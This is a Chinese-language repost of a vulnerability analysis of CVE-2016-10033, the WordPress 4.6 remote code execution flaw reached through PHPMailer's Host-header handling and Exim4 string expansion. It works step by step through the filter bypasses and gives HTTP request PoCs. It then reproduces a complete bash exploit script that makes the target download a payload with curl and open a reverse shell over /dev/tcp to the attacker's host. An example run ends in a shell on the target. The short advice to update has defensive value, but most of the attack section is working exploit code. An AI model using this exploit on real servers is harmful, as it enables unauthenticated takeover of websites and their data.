[CVE-2016-10033]WordPress < 4.7.1远程代码执行漏洞分析

简介

“WordPress是一个免费的开源内容管理系统(CMS)基于PHP和MySQL。截至2017年2月,WordPress被超过1000万网站的27.5%用于该网站。据报道,WordPress是网络上最受欢迎的网站管理或博客系统,支持超过6000万个网站。

参考链接:https://en.wikipedia.org/wiki/WordPress

漏洞详情

漏洞编号:CVE-2016-10033

公布日期:2017.05.03

漏洞发现者:dawid_golunski

影响版本:4.6(默认配置,没有插件,没有auth)

漏洞描述:远程未认证的攻击者能够在目标服务器上执行任意代码并危及目标应用程序。

这里揭示了利用WordPress Core中的PHPMailer漏洞(CVE-2016-10033)的细节,远程执行代码攻击可以由未经身份验证的远程攻击者使用,以便即时访问其默认配置中安装了WordPress核心版本的目标服务器,这可能导致目标应用程序服务器的完全妥协。没有插件或非标准设置来利用此漏洞。dawid_golunski发现的PHP mail()函数的新利用向量,允许在最流行的MTA(邮件传输代理) – Exim上利用漏洞,默认情况下可以在许多系统(如Debian或Ubuntu)上找到该漏洞,相对于很少已经被使用的usedSendmail MTA将mail()注入攻击。

由于这个漏洞的严重程度的严重性,使用了新的利用向量,增加了这种类型的攻击范围以及很容易的大规模开发,这篇分析的发布被延迟了一段时间,以允许WordPress和其他可能受影响的软件供应商有足够的时间更新受影响的邮件库。

该版本也被延迟,允许WordPress团队更多的时间修补另一个WordPress漏洞(CVE-2017-8295),这将在不久的将来在另一个咨询中详细描述。

漏洞细节

以下是WordPress 4.6代码片段 – wp-includes/pluggable.php文件:

      if ( !isset( $from_email ) ) {
              // Get the site domain and get rid of www.
              $sitename = strtolower( $_SERVER['SERVER_NAME'] );
              if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                      $sitename = substr( $sitename, 4 );
              }

              $from_email = 'wordpress@' . $sitename;
      }


      /**
       * Filters the name to associate with the "from" email address.
       *
       * @since 2.3.0
       *
       * @param string $from_name Name associated with the "from" email address.
       */
      $from_name = apply_filters( 'wp_mail_from_name', $from_name );


      $phpmailer->setFrom( $from_email, $from_name );

WordPress显示当wp_mail()函数被调用来发送电子邮件(例如用户注册,忘记的密码等)时,WordPress会基于SERVER_NAME服务器头设置电子邮件域。

我们可以看到from地址形成如下:

$from_email = 'wordpress@' . $sitename;

然后将其过滤并传递到PHPMailer里面有问题的setFrom()函数中,该函数在以前的建议中有详细介绍:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html

注入

可以通过HTTP请求的HOST头,在默认配置的Apache Web服务器(最常见的WordPress部署)上操作SERVER_NAME服务器头。

为了说明,这里有一个简单的php脚本vars.php的请求和响应,它简单地打印服务器头部的相关部分($_SERVER PHP array)

GET /vars.php HTTP/1.1
Host: xenialINJECTION

HTTP/1.1 200 OK
Server: Apache

Array
(
  [HTTP_HOST] => xenialINJECTION
  [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu)
  [SERVER_NAME] => xenialinjection
...

我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串被复制到HTTP_HOSTSERVER_NAME PHP变量中。

使用这个HOST头例子,如果攻击者通过使用忘记的密码WordPress功能来触发wp_mail()函数,则HTTP请求将类似于:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close


user_login=admin&redirect_to=&wp-submit=Get+New+Password

并将导致以下参数传递到/usr/sbin/sendmail

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenialinject]

这里要注意第三个参数。电子邮件的域部分与请求的HOST标头匹配,但小写“inject”除外。

绕过过滤器

为了利用PHPMailer的mail()注入漏洞,攻击者必须能够将参数附加到域的部分。然而,filtration/validation(在wordpress端以及PHPMailer库一侧)会阻止攻击者从注入白字(如空格或TAB),因此从注入参数到sendmail二进制。例如,如果攻击者将HOST头修改为以下内容:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT SPACE

验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:

HTTP/1.0 500 Internal Server Error

在这种情况下,wp_mail()因此永远不会达到PHPMailer函数(sendmail二进制将不会被执行)。

PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准

详细请查看:

http://php.net/manual/en/filter.filters.validate.php

它禁止域部分中的空格,从而防止向/usr/sbin/sendmail注入附加参数。

应该注意的是,在下面的PHPMailer文章中分析了一种电子邮件的用户名部分注入额外的\反斜杠字符技术:

http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。

RFC 822和注释语法

根据查看RFC 822规范,找到绕过验证的一种潜在的方法,如下:

https://www.ietf.org/rfc/rfc822.txt

电子邮件地址可包含注释:

"
3.4.3.  COMMENTS

      A comment is a set of ASCII characters, which is  enclosed  in
      matching  parentheses  and which is not within a quoted-string
      The comment construct permits message originators to add  text
      which  will  be  useful  for  human readers, but which will be
      ignored by the formal semantics.  Comments should be  retained
      while  the  message  is subject to interpretation according to
      this standard.  However, comments  must  NOT  be  included  in
      other  cases,  such  as  during  protocol  exchanges with mail
      servers.
"

该文件给出了一个电子邮件示例,其中括号中有注释:

":sysmail"@  Some-Group. Some-Org,
          Muhammed.(I am  the greatest) Ali @(the)Vegas.WBA

作为有效的电子邮件,域内部分的简化注释示例:

john@example.com(comment)

经过进一步测试,结果发现注释部分可以包含空格在域名部分,并且可以用来绕过域部分的验证,并向sendmail二进制注入到附加参数。

通过注释语法注入参数

以下请求与HOST头设置为:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 injected tmp2)

这不会触发错误,并将导致以下参数提供给tosendmail

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [injected]
Arg no. 5 == [tmp2)]

这里可以看到,我们已经设法绕过了Wordpress过滤器提供的filters/validation(过滤器/验证)

apply_filters( 'wp_mail_from_name', $from_name );

以及PHPMailer的内部setFrom()验证。

我们现在可以控制第四个参数(’inject‘),如果需要,可以在arg no.3和no.5中注入更多的参数。理论上,我们现在应该可以向/ usr / sbin / sendmail wrapper注入额外的参数来实现任意代码执行。

通过Sendmail MTA执行代码

迄今为止,通过PHP mail()开发实现远程代码执行的唯一已知方式依赖于目标系统上存在的Sendmail MTA

最常见的Sendmail MTA向量类似于:

-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php

它通过输入信息写入一个包含php后门的日志文件。

然而,这种技术有两个问题:

1)

Sendmail MTA不再常用,我们可以通过查看以下统计信息来验证

http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html

这表明Sendmail在Linux MTA中最不受欢迎。它不随任何最新的Linux发行版一起发布,并且它不太可能被安装在目标上。

2)

上面提到的Sendmail技术在本文章中讨论的WordPress漏洞里面不起作用。如前所述,复制到SERVER_NAME服务器变量的主机名将转换为小写,因此在类似于以下内容的请求中注入Sendmail参数:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -O -X tmp2)

将出现以下一组sendmail参数集:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-o]
Arg no. 5 == [-x]
Arg no. 6 == [tmp2)]

Sendmail将失败并出现错误,因为这里的参数区分大小写,而-q-x都不起作用。

通过Exim4 MTA执行代码

在研究电子邮件发送库中的其他漏洞时(参见以前发布的关于PHPMailer,ZendMail,Swiftmailer的建议),文章的作者在Exim MTA的帮助下,发现了一种以前认为不受邮件影响的实现命令执行的mail() 注入攻击。

白皮书中已经介绍了这种技术:Pwning PHP mail() 函数用于Fun和远程代码执行

Exim4 MTA执行命令的能力存在了许多可能性,不仅可以利用PHPMailer和其他电子邮件库中已经披露的漏洞,还可以对于一般的mail()功能开发,Exim4是流行的Linux发行版(如Debian)上默认可用的最受欢迎的MTA。

这项调查证实了exim的普及:

http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html

这增加了它在远程目标上的可能性,并且是文章中的漏洞提供了一个可靠的概念利用的理想选择。

用Exim4 MTA直接执行代码

发现的Exim MTA向量,其最基本的形式可以通过以下方式进行:

sendmail -be '${run{/bin/true}{true}{false}}'
true

-be开关启用字符串扩展测试模式,在上面的扩展执行/bin/true,并根据退出代码从括号返回值。

同样,扩展:

sendmail -be '${run{/bin/bash -c "id"}{yes}{no}}'

将执行id命令。

注意:在使用Exim4的系统上,/usr/sbin/sendmail只是一个符号链接:/usr/sbin/sendmail - > exim4,与Sendmail MTA无关Sendmail MTA不需要存在于系统上才能工作。

Sendmail MTA向量的功能非常强大,命令执行可以直接通过指定为$ run参数扩展来实现,并且不需要将文件写入/var/www/html或猜测目录路径, 。

HOST头限制

看似简单的Exim4 向量在实践中变得棘手,因为上述扩展字符串不能在HOST头文件中运行。

一个HTTP请求类似于:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 slash/ -X tmp2)

由于在HOST头中存在/斜线字符,Apache网络服务器将会拒绝该请求。$run函数不会正常执行,因为它需要一个完整的二进制文件的路径执行(这表明exim4使用exec()来执行命令,而不是通过system()执行命令)。

绕过限制

为了绕过HOST头的限制,通过研究可用的Exim扩展字符串尝试了几种方法:

http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html

嵌入式perl

其中一个要扩展的是:

${perl{foo}{argument1}{argument2} ... }

不过perl在Exim上没有默认启用,因此漏洞无法使用。

编码

对base64和HEX编码/解码功能进行了测试,但是似乎没有被exim4支持用于测试,测试的时候会出现错误,如:

sendmail -be '${base64d:QUI=}'
Failed: unknown expansion operator "base64d"

子字符串和环境变量

另一个想法是使用已知的环境变量与子串组合来提取禁止的斜杠字符。例如,PATH环境变量包含斜杠:

PATH=/bin:/usr/bin

因此这是一个很好的替换变量。

$ {env {PATH}}可以用于检索变量,当与$ substring扩展连接时,可以获得斜杠,如以下命令所示:

sendmail -be '${substr{0}{1}{${env{PATH}}}}'
/

不幸的是,这种技术导致了死循环,因为在HOST头中插入的环境变量(如PATH)将被转换为小写,因此在Linux下不起作用。

子字符串和内部exim4变量

经过反复试验,发现以下变量按预期的执行:

sendmail -be '${spool_directory}'
/var/spool/exim4

spool_directory变量默认存在,并且不具有大写字母,因此可以正常的执行。

斜杠可以替换为:

${substr{0}{1}{$spool_directory}}

从而绕过HOST头的斜杠限制。如下命令:

sendmail -be '${run{/usr/bin/touch /tmp/test}}'

现在可以转换为:

sendmail -be '${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}b
in${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1
}{$spool_directory}}test}}'

这在终端下工作正常,但是在HTTP请求中进行测试时:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_dir
ectory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${s
ubstr{0}{1}{$spool_directory}}test}}  tmp2)

转化后是以下sendmail参数:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}
bin${substr{0}{1}{$spool_directory}}touch]
Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 7 == [tmp2)]

我们可以看到,扩展有效载荷被分为5个和6个参数,而不是一个。这样可以防止Exim正确地执行有效载荷。问题是由命令参数之间的空格引起的(例如“touch”之后的空格)

替换空格

首先考虑环境变量IFS,然而环境变量将不能像以前测试的那样正常执行了。经过深入研究,发现了一个方便的内部exim变量:

sendmail -be '${tod_log}'
2016-01-02 23:49:42

tod_log变量返回一个含有空格的当前日期格式。与斜杠替换类似,可以使用$ substring + $ tod_log变量来替换已测试的空间:

sendmail -be '${substr{10}{1}{$tod_log}}'

PoC HTTP请求/最小PoC漏洞利用

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}
bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}
tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56


user_login=admin&redirect_to=&wp-submit=Get+New+Password

发送到WordPress核心应用程序时上面的请求将导致使用以下参数调用exim

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}
bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}
tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 6 == [tmp2)]

这将在目标上执行:/usr/bin/touch/tmp/test,并在WordPress 4.6上测试创建一个文件/tmp/test

以上是全部的构造PoC的过程,可以通过这个逻辑进而构造反弹shell。

Poc

#!/bin/bash
#
#      __                     __   __  __           __
#     / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
#    / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
#   / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  )
#  /_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/
#            /____/
#
#
# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit
# CVE-2016-10033
#
# wordpress-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by
#
# Dawid Golunski (@dawid_golunski)
# https://legalhackers.com
#
# ExploitBox project:
# https://ExploitBox.io
#
# Full advisory URL:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
#
# Exploit src URL:
# https://exploitbox.io/exploit/wordpress-rce-exploit.sh
#
#
# Tested on WordPress 4.6:
# https://github.com/WordPress/WordPress/archive/4.6.zip
#
# Usage:
# ./wordpress-rce-exploit.sh target-wordpress-url
#
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulns/exploitation?
#
#
#                        .;lc'
#                    .,cdkkOOOko;.
#                 .,lxxkkkkOOOO000Ol'
#             .':oxxxxxkkkkOOOO0000KK0x:'
#          .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
#       ':oxxxxxxxxxxo;.       .:oOKKKXXXNNNNOl.
#      '';ldxxxxxdc,.              ,oOXXXNNNXd;,.
#     .ddc;,,:c;.         ,c:         .cxxc:;:ox:
#     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:
#     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:
#     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:
#     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:
#     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:
#     .dxxxxxc      .cNMMMN.oMMMMx'      .xxxxxx:
#     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    'xxxxxx:
#     .dxxxxxc    ;Mc   .lx.:o,    Kl    'xxxxxx:
#     .dxxxxxdl;. .,               .. .;cdxxxxxx:
#     .dxxxxxxxxxdc,.              'cdkkxxxxxxxx:
#      .':oxxxxxxxxxdl;.       .;lxkkkkkxxxxdc,.
#          .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
#             .':oxxxxxxxxx.ckkkkkkkkxl,.
#                 .,cdxxxxx.ckkkkkxc.
#                    .':odx.ckxl,.
#                        .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------



rev_host="192.168.57.1"

function prep_host_header() {
      cmd="$1"
      rce_cmd="\${run{$cmd}}";

      # replace / with ${substr{0}{1}{$spool_directory}}
      #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
      rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"

      # replace ' ' (space) with
      #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
      rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
      #return "target(any -froot@localhost -be $rce_cmd null)"
      host_header="target(any -froot@localhost -be $rce_cmd null)"
      return 0
}


#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro"  | base64 -d
echo "$intro2" | base64 -d

if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo


if [ "$choice" == "y" ]; then

echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"

# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!

# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?
action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"

# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?
action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"

echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -vv -l 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0

fi


echo "Exiting..."
exit 0




Video PoC
~~~~~~~~~~~~

https://www.youtube.com/watch?v=ZFt_S5pQPX0



Example run
~~~~~~~~~~~~~~~

# ./wordpress-rce-exploit.sh http://wp-host/wordpress/

                        .;lc'
                    .,cdkkOOOko;.
 _______        ., ________     ________      _______
 \  ___/_ ____ '___\      /_____\      _______\_   _/_
 /  _/   \\   \/   /   __/     //   |  \_____//       \
/_________>>      < __/  /    /-\ ____ /     \ _______/
          <___/\___>    /________/    /_______>
     .ddc;,,:c;.         ,c:         .cxxc:;:ox:
     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:
     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:
     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:
     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:
     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:
     .dxxxxxc      .cNMMMN.oMMMMx'      .xxxxxx:
     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    'xxxxxx:
     .dxxxxxc    ;Mc   .lx.:o,    Kl    'xxxxxx:
     .dxxxxxdl;. .,               .. .;cdxxxxxx:
     .dxxxx ________          ____  _____ xxxxx:
      .':ox \      /_ ________\   \/    / xxc,.
          . /     /  \\        >       <  x,
           /          /   |   /   /\    \
           \_________<_______<____> \____>
                    .':odx.ckxl,.
                        .,.'.

                 | ExploitBox.io |

+ --=| WordPress Core - Unauthenticated RCE Exploit  |
+ --=|                                               |
+ --=|          Discovered & Coded By                |
+ --=|               Dawid Golunski                  |
+ --=|         https://legalhackers.com              |
+ --=|                                               |
+ --=| "With Great Power Comes Great Responsibility" |
+ --=|        * For testing purposes only *          |


[*] Sure you want to get a shell on the target 'http://wp-host/wordpress/' ? [y/N] y

[*] Guess I can't argue with that... Let's get started...

[+] Connected to the target

[+] Payload sent successfully

[+] Payload executed!

[*] Waiting for the target to send us a reverse shell...

Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.57.3] port 1337 [tcp/*] accepted (family 2, sport 39232)
bash: cannot set terminal process group (10408): Inappropriate ioctl for device
bash: no job control in this shell
www-data@xenial:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@xenial:/$ exit
exit
exit

Exiting...

防御方法

一个远程未认证的攻击者能够在目标服务器上执行任意代码并控制目标应用程序。

本通报中描述的远程执行PoC漏洞基于版本4.6,尽管其他版本的WordPress(4.7.1之前修复了PHPMailer漏洞)也可能受到影响。

所以在这里建议大家更新到最新版本的WordPress。

参考

https://legalhackers.com

https://ExploitBox.io

用于测试/研究的WordPress版本:

https://github.com/WordPress/WordPress/archive/4.6.zip

漏洞代码:

WordPress Core 4.6 – Unauth Remote Code Execution PoC Exploit

视频PoC:

https://www.youtube.com/watch?v=ZFt_S5pQPX0

exp:

https://www.exploit-db.com/exploits/40968/

靶机:

https://github.com/opsxcq/exploit-CVE-2016-10033

WordPress安全团队公告:

https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/

供应商网站:

https://wordpress.org

相关咨询:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

 

*作者:Dawid Golunski,转载请注明来自MottoIN

原创文章,作者:Stbird,如若转载,请注明出处:http://www.mottoin.com/101779.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code